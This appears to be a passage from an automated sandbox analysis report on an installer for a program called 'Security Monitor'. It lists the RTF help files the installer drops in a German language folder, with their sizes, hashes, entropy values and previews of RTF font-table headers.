02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-L0R1U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41056
Entropy (8bit):	5.04631924061467
Encrypted:	false
SSDEEP:	768:BX9xd/KzuwlRIbQhOsWx1LCrLXI1nc9xi79Jd3z/ijPmhaohJZ/6A9h:BjsKuuIA9h
MD5:	84DEF6EB0D41C6B208DC679FBF4AAF91
SHA1:	4B6E6116E8EA25B37EF6DD43BB8062805E58A099
SHA-256:	22A596F719A6208B8EB3BF93A1025BBB9C92F31F5E3E6E37995AB58B4514B083
SHA-512:	A831344C2D1ED8E2E5339A890A6E2F96160333D90AB1469D0F20C0BF3034068AECCEF609443405E807E01F074B4E4D9CF3BD7A319B2B30FF10727D3644576453
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f297\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 020405030504060

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-M76VA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64658
Entropy (8bit):	4.992463300868246
Encrypted:	false
SSDEEP:	768:qqFke4jXLHT2njX8x3TLjwUtqYepAkVZEdvI9voCgsKBd79zqfAx4thgC4jFBo73:qqYGoCgkQ8FIA9r
MD5:	79EAEF5F915091EA8A19A2D69C8312D9
SHA1:	E91E254C7772330094955B8F32835A703BD9483C
SHA-256:	D992C215B1031E0EB2BDF2262505BC1FA9E4C7DB122E31A0F63587C98427FFDD
SHA-512:	BE93BC4A17261703097AFB8F3044F4C0D0BEA076EFD694F7A166CF843BD143B951041FFF54F3A1D60869EA4DAA7EBC3E35D56C25BE991D218403A7D0B9B2C0AD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-R2ENR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43859
Entropy (8bit):	5.052664414201202
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2G+xnd9MfUcL2L5Mc5255cRHjVlPw2:BvrUneKGsIA9B
MD5:	F7320542A3AFF0FC824E6C8D5CA74FBC
SHA1:	F3C273969AC71FB411A5677D23898B7FE0633BFF
SHA-256:	FAAAACD62FDB8F2901ACD5D39CB2D54B9A728B463900AE08916DE586EE9CD521
SHA-512:	8CD8ED594846968FD2932A0E396E4DD1833EC10C4CF4F187C80BE34378E55605AC190EE87A1A47AB335BF19764640FEC14F4A9CE7C5893877EAA995FADBC18BA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-RSBIE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36262
Entropy (8bit):	5.030821265978035
Encrypted:	false
SSDEEP:	768:q4OkUx1ETicPI0QhhiLV/gKsmWgFdMXZ/6A9z:q44VUnSIA9z
MD5:	61D796543650EBE8C4A143DCAFAE4D24
SHA1:	54CD649E28D6442AA3946EE9891A156A68A3B2CB
SHA-256:	585B560159CC4BDB9361F30B002CE9AA44AD510FB30A61257076810146B2D918
SHA-512:	201BFB392E79FBC5A62A63610CD19B009ED98C54D5DF34B86C696C757175CD1DB3650B0CE0938C5C3529BD155C9E63E158D153588C723A1F968BDDBF05017A68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdb

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-VA13R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	36818
Entropy (8bit):	5.041090274116406
Encrypted:	false
SSDEEP:	768:BbKxdCpT2njX8x3fDVyOvjU0EGi2YuWZ/6A9m:Bs2TyIA9m
MD5:	FF313FAF3C594763F16D083E7036D86A
SHA1:	E0C366F97CBF210063B17FA453D0A2EAA879953A
SHA-256:	FA691CAE1E17899C0EFA053BE2EFDF95D9E4F13C10F02A7683FA5C88E66F52EA
SHA-512:	2D64CF19B391D3900226225EE74DB20DD5542A1F2A8635A92CB83C0B948A815B5FC28ADF979713417EE97EAE0CB02CCD1E2FF1EA5648A9C250DE60221177FEA5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-VNPO6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	37003
Entropy (8bit):	5.038330646707192
Encrypted:	false
SSDEEP:	768:BbKxdCjOcPI0QhhiLVZMB5WjuOBYB1xlmZ/6A9P:Bs5Un9IA9P
MD5:	75DF6CB458A94E38B33006A5BB1AB3CA
SHA1:	7EE17FB0A1760D5C89FC4B86CB98CF3EA71E333D
SHA-256:	81275BC2F9DF017DD33438D44E3F4ACECDAC376281CD5C37F782538D937F8E3F
SHA-512:	89CD75E4140B9C9F90DB760FA806039017AF4558FC74AE5327F547DD7E3DF14710925F1F7C55C648F7A947753B48703A1AC47F905C9EDF454599828F3CD4A86D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41056
Entropy (8bit):	5.04631924061467
Encrypted:	false
SSDEEP:	768:BX9xd/KzuwlRIbQhOsWx1LCrLXI1nc9xi79Jd3z/ijPmhaohJZ/6A9h:BjsKuuIA9h
MD5:	84DEF6EB0D41C6B208DC679FBF4AAF91
SHA1:	4B6E6116E8EA25B37EF6DD43BB8062805E58A099
SHA-256:	22A596F719A6208B8EB3BF93A1025BBB9C92F31F5E3E6E37995AB58B4514B083
SHA-512:	A831344C2D1ED8E2E5339A890A6E2F96160333D90AB1469D0F20C0BF3034068AECCEF609443405E807E01F074B4E4D9CF3BD7A319B2B30FF10727D3644576453
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f297\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 020405030504060

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	49864
Entropy (8bit):	5.043460580292076
Encrypted:	false
SSDEEP:	768:Bbi4jegzTJqNgVVhGPNXturfTYlDojU7FDSSmDP3QyYd9RhtAx/IFdNJf+v/AXQ0:BJkethIA9Q
MD5:	C5AC9F8F23886CDA2348A3BC382F8F9B
SHA1:	E18B97EA75873D424D0F0CDD349632CA3C96B656
SHA-256:	EC49E0ED640B29CF852E455D9D0A7666914DC7114D771F514405944F6C8D3733
SHA-512:	4A8FB239C01F8E1A163C6CB75C84884CADBAF0FA25159218D40F73F73A9255353134EA0D64800EAC40E49383085D5EFF05662B78FF43696A69A1FB591C80A7F1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53700
Entropy (8bit):	4.980792929518482
Encrypted:	false
SSDEEP:	768:qqOkbe0ULHT2njX8x3TLjwUtqYepAkVZEdvI9DfLBmKPKPqP/tPw8Ecnv7eJTEcc:qq0EfLBGIA9Jk
MD5:	4F112D455797B724837B7714D54B6621
SHA1:	20351467C091733C0E7F4848B7809D54112143FE
SHA-256:	6ED5F0BC906B1E1A884CCF648C4D81FAD8B0B6D8A13F07BC90796811E6C13035
SHA-512:	928762682FE7FFCB119E93C8AB228EBF62D63763230A2C43F76D9504DC9DB4BF85E0519C2E4245B20FAC038DC83DBDA82FDDB606FD9C7F4552CAA86B61904121
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64658
Entropy (8bit):	4.992463300868246
Encrypted:	false
SSDEEP:	768:qqFke4jXLHT2njX8x3TLjwUtqYepAkVZEdvI9voCgsKBd79zqfAx4thgC4jFBo73:qqYGoCgkQ8FIA9r
MD5:	79EAEF5F915091EA8A19A2D69C8312D9
SHA1:	E91E254C7772330094955B8F32835A703BD9483C
SHA-256:	D992C215B1031E0EB2BDF2262505BC1FA9E4C7DB122E31A0F63587C98427FFDD
SHA-512:	BE93BC4A17261703097AFB8F3044F4C0D0BEA076EFD694F7A166CF843BD143B951041FFF54F3A1D60869EA4DAA7EBC3E35D56C25BE991D218403A7D0B9B2C0AD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41676
Entropy (8bit):	5.05075856281513
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2rvx6qk0oDHvZlLMKFZ/6A9d:BvrUneKrsIA9d
MD5:	CE47EF60A1B6296B4770FEE4454B1E06
SHA1:	5B17759D122086E5E02A32BFB947A8746EF3076D
SHA-256:	9BB74EA64A2AAEC3470E7EE10C1EE4CA70AC357CB6DDF9D6C810869B7A18BB25
SHA-512:	2727839D56824EF21AB7F3340649483F576665EE1B561A2FD72ED31158B6FE2B854880558E991DF5F9B48125A8E85A1E3D88623C0282151285FBCA5470FFE7EA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43859
Entropy (8bit):	5.052664414201202
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2G+xnd9MfUcL2L5Mc5255cRHjVlPw2:BvrUneKGsIA9B
MD5:	F7320542A3AFF0FC824E6C8D5CA74FBC
SHA1:	F3C273969AC71FB411A5677D23898B7FE0633BFF
SHA-256:	FAAAACD62FDB8F2901ACD5D39CB2D54B9A728B463900AE08916DE586EE9CD521
SHA-512:	8CD8ED594846968FD2932A0E396E4DD1833EC10C4CF4F187C80BE34378E55605AC190EE87A1A47AB335BF19764640FEC14F4A9CE7C5893877EAA995FADBC18BA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	52996
Entropy (8bit):	5.037460927420348
Encrypted:	false
SSDEEP:	768:Bk31e0/Yzc00QfHyUCp5N7G5V5V5h5G5P5N5TRrbGY+FNSdE2CUuHctO9P0CS0t0:BV0kIA9I
MD5:	77A17A8F48C96F611F14429D732C1F73
SHA1:	FE3F09AF1390F0C2F780A172450B3CCF54A09CD0
SHA-256:	F2B98A3175FC09320625C396606DA5058A192A5AF54A0C61D491E5FCB7EC96C4
SHA-512:	3A3AE1E13D1E24081A3913B34638DA25DC2FF39BBFB3151464B0E330828D9A3E3AB876E546E90C11E858FF1611F02686874D1106AF59A79F6399EC5DA7F60C26
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \from

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	46778
Entropy (8bit):	5.04213022372363
Encrypted:	false
SSDEEP:	768:BbO4jB7F2njX8x3nF9k6Bvtk+k1pJKOQBX0hUH/EIvx9WahytOAnkWiwaTdnkmDk:B1hKIA9N
MD5:	F60A5BBD42D01BA5BE2200C53152A370
SHA1:	D5F8ED456623E3D8B44D6D87EDC705A0A27D0382
SHA-256:	7E5BED54A681A9701FBD6B6C12A4A53594DECD4B60AE8087DB96DCAD23DDF72C
SHA-512:	C66DA1A5D293F957A84B9B787B5487CD38A04DE39B4B955E1214954FE64FE14654265F942991A77816DB83BBED95818D1F5EE825B8C5AADD60B2A48EC1CEC841
Malicious:	false
Reputation:	unknown
